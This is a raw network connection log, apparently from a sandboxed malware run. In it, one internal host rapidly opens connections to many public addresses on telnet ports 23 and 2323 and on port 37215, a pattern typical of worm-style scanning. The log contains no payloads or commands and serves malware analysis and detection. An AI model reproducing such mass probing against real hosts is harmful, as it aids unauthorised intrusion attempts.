Nov 3, 2024 15:33:12.210881948 CET	23	49250	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:12.211066008 CET	54440	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:12.211458921 CET	49250	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.211755991 CET	49262	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.215529919 CET	23	54428	113.219.219.181	192.168.2.14
Nov 3, 2024 15:33:12.216274977 CET	23	49250	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:12.216479063 CET	23	49262	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:12.216526031 CET	49262	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.220722914 CET	52232	23	192.168.2.14	170.198.211.137
Nov 3, 2024 15:33:12.220726013 CET	33200	23	192.168.2.14	54.115.171.21
Nov 3, 2024 15:33:12.220726967 CET	40780	23	192.168.2.14	110.90.84.35
Nov 3, 2024 15:33:12.220737934 CET	51328	23	192.168.2.14	9.187.18.204
Nov 3, 2024 15:33:12.220737934 CET	48120	23	192.168.2.14	112.255.193.230
Nov 3, 2024 15:33:12.220737934 CET	46866	23	192.168.2.14	140.215.30.98
Nov 3, 2024 15:33:12.220737934 CET	46860	23	192.168.2.14	5.217.183.113
Nov 3, 2024 15:33:12.220742941 CET	42432	23	192.168.2.14	76.138.124.126
Nov 3, 2024 15:33:12.220746040 CET	40574	2323	192.168.2.14	130.234.175.231
Nov 3, 2024 15:33:12.220751047 CET	47838	23	192.168.2.14	118.184.140.7
Nov 3, 2024 15:33:12.220765114 CET	37542	23	192.168.2.14	119.218.10.19
Nov 3, 2024 15:33:12.220766068 CET	58940	23	192.168.2.14	189.24.123.196
Nov 3, 2024 15:33:12.220767021 CET	51926	23	192.168.2.14	9.83.49.8
Nov 3, 2024 15:33:12.220767975 CET	41270	2323	192.168.2.14	73.152.162.54
Nov 3, 2024 15:33:12.220767975 CET	57824	2323	192.168.2.14	14.156.87.77
Nov 3, 2024 15:33:12.220767975 CET	48154	23	192.168.2.14	142.132.34.191
Nov 3, 2024 15:33:12.220767975 CET	55404	23	192.168.2.14	97.104.202.222
Nov 3, 2024 15:33:12.220773935 CET	58110	23	192.168.2.14	103.136.202.146
Nov 3, 2024 15:33:12.220779896 CET	42852	23	192.168.2.14	105.20.168.248
Nov 3, 2024 15:33:12.220782995 CET	57644	23	192.168.2.14	210.104.191.129
Nov 3, 2024 15:33:12.220784903 CET	57790	23	192.168.2.14	217.28.4.151
Nov 3, 2024 15:33:12.220786095 CET	51590	23	192.168.2.14	160.191.29.198
Nov 3, 2024 15:33:12.220786095 CET	39250	23	192.168.2.14	45.251.55.196
Nov 3, 2024 15:33:12.220786095 CET	53486	23	192.168.2.14	105.90.5.21
Nov 3, 2024 15:33:12.220786095 CET	34720	2323	192.168.2.14	157.3.181.215
Nov 3, 2024 15:33:12.220786095 CET	46364	23	192.168.2.14	40.192.9.160
Nov 3, 2024 15:33:12.220786095 CET	39150	2323	192.168.2.14	121.222.205.245
Nov 3, 2024 15:33:12.220786095 CET	49218	23	192.168.2.14	223.117.158.56
Nov 3, 2024 15:33:12.220788002 CET	36510	23	192.168.2.14	169.102.108.197
Nov 3, 2024 15:33:12.220788956 CET	56416	23	192.168.2.14	152.173.229.196
Nov 3, 2024 15:33:12.220793962 CET	34770	23	192.168.2.14	125.16.156.71
Nov 3, 2024 15:33:12.220797062 CET	60358	23	192.168.2.14	160.222.111.197
Nov 3, 2024 15:33:12.220801115 CET	59130	23	192.168.2.14	189.211.27.181
Nov 3, 2024 15:33:12.220804930 CET	41102	23	192.168.2.14	130.173.150.45
Nov 3, 2024 15:33:12.220803976 CET	36564	2323	192.168.2.14	216.91.231.125
Nov 3, 2024 15:33:12.220804930 CET	55092	23	192.168.2.14	195.159.124.194
Nov 3, 2024 15:33:12.220808029 CET	49976	23	192.168.2.14	170.59.216.178
Nov 3, 2024 15:33:12.220810890 CET	44486	23	192.168.2.14	101.178.28.59
Nov 3, 2024 15:33:12.220810890 CET	55828	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:12.220823050 CET	47594	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:12.220825911 CET	34408	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:12.220825911 CET	56056	23	192.168.2.14	150.186.70.101
Nov 3, 2024 15:33:12.220825911 CET	59256	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:12.220829010 CET	56582	23	192.168.2.14	48.189.3.86
Nov 3, 2024 15:33:12.220830917 CET	60286	23	192.168.2.14	213.68.148.191
Nov 3, 2024 15:33:12.220837116 CET	35962	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:12.221736908 CET	23	49262	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:12.221802950 CET	49262	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.222080946 CET	49264	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.224719048 CET	53166	37215	192.168.2.14	197.228.188.180
Nov 3, 2024 15:33:12.224723101 CET	55918	37215	192.168.2.14	156.163.100.169
Nov 3, 2024 15:33:12.225483894 CET	23	52232	170.198.211.137	192.168.2.14
Nov 3, 2024 15:33:12.225528002 CET	52232	23	192.168.2.14	170.198.211.137
Nov 3, 2024 15:33:12.226583958 CET	23	49262	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:12.230865002 CET	23	52232	170.198.211.137	192.168.2.14
Nov 3, 2024 15:33:12.230916023 CET	52232	23	192.168.2.14	170.198.211.137
Nov 3, 2024 15:33:12.231214046 CET	52326	23	192.168.2.14	170.198.211.137
Nov 3, 2024 15:33:12.236210108 CET	23	52232	170.198.211.137	192.168.2.14
Nov 3, 2024 15:33:12.252734900 CET	40800	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:12.252753973 CET	51088	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:12.252765894 CET	55166	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:12.252780914 CET	36456	23	192.168.2.14	43.247.67.68
Nov 3, 2024 15:33:12.252787113 CET	58514	23	192.168.2.14	14.92.73.42
Nov 3, 2024 15:33:12.252793074 CET	43014	2323	192.168.2.14	170.249.147.34
Nov 3, 2024 15:33:12.252811909 CET	36726	23	192.168.2.14	149.100.124.48
Nov 3, 2024 15:33:12.252825022 CET	33252	23	192.168.2.14	122.197.11.138
Nov 3, 2024 15:33:12.252835035 CET	45088	23	192.168.2.14	148.58.186.24
Nov 3, 2024 15:33:12.252846003 CET	48634	23	192.168.2.14	200.19.151.133
Nov 3, 2024 15:33:12.252854109 CET	49582	23	192.168.2.14	118.209.41.35
Nov 3, 2024 15:33:12.252867937 CET	48150	23	192.168.2.14	95.124.62.123
Nov 3, 2024 15:33:12.252880096 CET	33124	23	192.168.2.14	221.125.157.173
Nov 3, 2024 15:33:12.252890110 CET	35368	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:12.257555008 CET	23	40800	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:12.257565975 CET	23	51088	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:12.257579088 CET	23	55166	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:12.257602930 CET	51088	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:12.257611036 CET	40800	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:12.257627964 CET	55166	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:12.262620926 CET	23	51088	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:12.262680054 CET	51088	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:12.262835026 CET	23	40800	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:12.262989044 CET	51154	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:12.263076067 CET	23	55166	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:12.263380051 CET	55166	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:12.263664961 CET	55236	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:12.264027119 CET	40800	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:12.264305115 CET	40868	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:12.267473936 CET	23	51088	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:12.267827034 CET	23	51154	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:12.267874002 CET	51154	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:12.268167973 CET	23	55166	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:12.268830061 CET	23	40800	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:12.272959948 CET	23	51154	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:12.273029089 CET	51154	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:12.273303986 CET	51160	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:12.279006004 CET	23	51154	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:12.279016972 CET	23	51160	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:12.279052973 CET	51160	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:12.584738970 CET	2323	36646	19.212.23.128	192.168.2.14
Nov 3, 2024 15:33:12.584959030 CET	36646	2323	192.168.2.14	19.212.23.128
Nov 3, 2024 15:33:12.585370064 CET	38404	2323	192.168.2.14	19.212.23.128
Nov 3, 2024 15:33:12.589823961 CET	2323	36646	19.212.23.128	192.168.2.14
Nov 3, 2024 15:33:12.590171099 CET	2323	38404	19.212.23.128	192.168.2.14
Nov 3, 2024 15:33:12.590223074 CET	38404	2323	192.168.2.14	19.212.23.128
Nov 3, 2024 15:33:12.600884914 CET	23	58790	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:12.600959063 CET	58790	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:12.601243019 CET	58844	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:12.606367111 CET	23	58790	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:12.606375933 CET	23	58844	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:12.606429100 CET	58844	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:12.611701012 CET	23	58844	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:12.611761093 CET	58844	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:12.612046957 CET	23	53056	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.612066031 CET	58846	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:12.612456083 CET	53056	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.612725973 CET	54802	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.616522074 CET	23	58844	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:12.616821051 CET	23	58846	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:12.616866112 CET	58846	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:12.617218018 CET	23	53056	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.617517948 CET	23	54802	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.617564917 CET	54802	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.621947050 CET	23	58846	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:12.622004032 CET	58846	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:12.622308969 CET	44140	2323	192.168.2.14	175.116.195.134
Nov 3, 2024 15:33:12.622483969 CET	23	54802	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.622673035 CET	54802	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.622942924 CET	54806	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.626601934 CET	23	38726	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.626667023 CET	38726	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.626946926 CET	40410	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.626972914 CET	23	58846	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:12.627118111 CET	2323	44140	175.116.195.134	192.168.2.14
Nov 3, 2024 15:33:12.627162933 CET	44140	2323	192.168.2.14	175.116.195.134
Nov 3, 2024 15:33:12.627402067 CET	23	54802	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.627650976 CET	23	54806	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.627691984 CET	54806	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.631513119 CET	23	38726	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.631702900 CET	23	40410	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.631741047 CET	40410	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.632180929 CET	2323	44140	175.116.195.134	192.168.2.14
Nov 3, 2024 15:33:12.632245064 CET	44140	2323	192.168.2.14	175.116.195.134
Nov 3, 2024 15:33:12.632513046 CET	44146	2323	192.168.2.14	175.116.195.134
Nov 3, 2024 15:33:12.632646084 CET	23	54806	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.632698059 CET	54806	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.632884979 CET	54806	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.633155107 CET	54812	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.636977911 CET	23	40410	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.637039900 CET	40410	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.637078047 CET	2323	44140	175.116.195.134	192.168.2.14
Nov 3, 2024 15:33:12.637303114 CET	2323	44146	175.116.195.134	192.168.2.14
Nov 3, 2024 15:33:12.637345076 CET	44146	2323	192.168.2.14	175.116.195.134
Nov 3, 2024 15:33:12.637415886 CET	40416	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.637646914 CET	23	54806	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.637938976 CET	23	54812	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.637979984 CET	54812	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.641839981 CET	23	40410	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.642224073 CET	23	40416	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.642270088 CET	40416	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.642908096 CET	23	54812	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.642959118 CET	54812	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.643232107 CET	54816	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.647325993 CET	23	40416	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.647389889 CET	40416	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.647666931 CET	40420	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.647806883 CET	23	54812	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.647995949 CET	23	54816	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.648031950 CET	54816	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.651568890 CET	23	40088	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.651624918 CET	40088	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.651892900 CET	41724	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.652508974 CET	23	40416	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.653175116 CET	23	40420	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.653213978 CET	40420	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.653389931 CET	23	54816	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.653453112 CET	54816	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.653731108 CET	54822	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.656474113 CET	23	40088	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.656651020 CET	23	41724	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.656697035 CET	41724	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.658162117 CET	23	54816	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.658350945 CET	23	40420	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.658413887 CET	40420	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.658499956 CET	23	54822	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.658539057 CET	54822	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.658704042 CET	40426	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.661809921 CET	23	41724	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.661875963 CET	41724	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.662158966 CET	41730	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.663160086 CET	23	40420	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.663455963 CET	23	40426	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:12.663494110 CET	40426	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:12.663582087 CET	23	54822	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.663638115 CET	54822	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.663916111 CET	54828	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.666697025 CET	23	41724	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.667026043 CET	23	41730	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.667068005 CET	41730	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.668872118 CET	23	54822	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.668880939 CET	23	54828	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.668922901 CET	54828	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.672434092 CET	23	41730	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.672498941 CET	41730	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.672785044 CET	41734	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.674849987 CET	23	54828	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.674910069 CET	54828	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.675189018 CET	54832	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.677321911 CET	23	41730	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.677519083 CET	23	41734	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.677561998 CET	41734	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.679837942 CET	23	54828	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.679974079 CET	23	54832	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.680011034 CET	54832	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.682722092 CET	23	41734	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.682785988 CET	41734	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.683069944 CET	41738	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.685080051 CET	23	54832	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.685133934 CET	54832	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.685400963 CET	54836	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.687585115 CET	23	41734	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.687848091 CET	23	41738	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.687896013 CET	41738	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.689944029 CET	23	54832	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.690197945 CET	23	54836	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.690234900 CET	54836	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.692922115 CET	23	41738	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.692984104 CET	41738	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.693265915 CET	41742	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.695297956 CET	23	54836	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.695353031 CET	54836	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.695602894 CET	54840	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.697832108 CET	23	41738	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.698021889 CET	23	41742	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:12.698067904 CET	41742	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:12.698946953 CET	23	40264	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:12.699002981 CET	40264	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:12.699306011 CET	41792	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:12.700140953 CET	23	54836	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.700392962 CET	23	54840	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.700432062 CET	54840	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.703774929 CET	23	40264	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:12.704057932 CET	23	41792	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:12.704107046 CET	41792	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:12.705415964 CET	23	54840	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.705468893 CET	54840	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.705760002 CET	54844	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.709095955 CET	23	41792	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:12.709161997 CET	41792	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:12.709445953 CET	41796	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:12.710228920 CET	23	54840	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.710614920 CET	23	54844	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.710659027 CET	54844	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.713984013 CET	23	41792	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:12.714282990 CET	23	41796	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:12.714327097 CET	41796	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:12.715660095 CET	23	54844	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.715714931 CET	54844	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.716017962 CET	54848	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.719340086 CET	23	41796	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:12.719399929 CET	41796	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:12.719669104 CET	41800	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:12.720611095 CET	23	54844	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.720793962 CET	23	54848	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.720833063 CET	54848	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.724178076 CET	23	41796	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:12.724459887 CET	23	41800	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:12.724505901 CET	41800	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:12.725235939 CET	23	46748	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.725290060 CET	46748	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.725569963 CET	46842	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.725733042 CET	23	54848	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.725940943 CET	54848	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.726200104 CET	54854	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.730087996 CET	23	46748	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.730396986 CET	23	46842	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.730443001 CET	46842	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.730690956 CET	23	54848	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.730931044 CET	23	54854	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.730971098 CET	54854	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.735503912 CET	23	46842	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.735564947 CET	46842	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.735832930 CET	23	54854	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.735837936 CET	46846	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.736223936 CET	54854	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.736510038 CET	54858	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.740353107 CET	23	46842	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.740603924 CET	23	46846	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.740647078 CET	46846	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.741048098 CET	23	54854	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.741339922 CET	23	54858	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.741375923 CET	54858	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.745630980 CET	23	46846	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.745693922 CET	46846	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.745987892 CET	46850	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.746397972 CET	23	54858	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.746454000 CET	54858	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.746710062 CET	54862	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.750469923 CET	23	46846	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.750763893 CET	23	46850	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.750802994 CET	46850	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.751233101 CET	23	54858	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.751456022 CET	23	54862	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.751494884 CET	54862	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.755883932 CET	23	46850	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.755939960 CET	46850	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.756236076 CET	46854	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.756330967 CET	23	54862	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.756624937 CET	54862	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.756911039 CET	54866	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.760720015 CET	23	46850	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.761029959 CET	23	46854	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:12.761066914 CET	46854	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.761372089 CET	23	54862	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.761671066 CET	23	54866	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.761718035 CET	54866	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.766721964 CET	23	54866	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.766786098 CET	54866	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.767079115 CET	54868	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.771631002 CET	23	54866	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.771794081 CET	23	54868	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.771835089 CET	54868	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.776823997 CET	23	54868	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.776878119 CET	54868	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.777160883 CET	54870	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.781676054 CET	23	54868	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.781898975 CET	23	54870	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.781943083 CET	54870	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.787009954 CET	23	54870	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.787075996 CET	54870	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.787370920 CET	54872	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:12.791846037 CET	23	54870	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:12.792129040 CET	23	54872	73.195.214.90	192.168.2.14
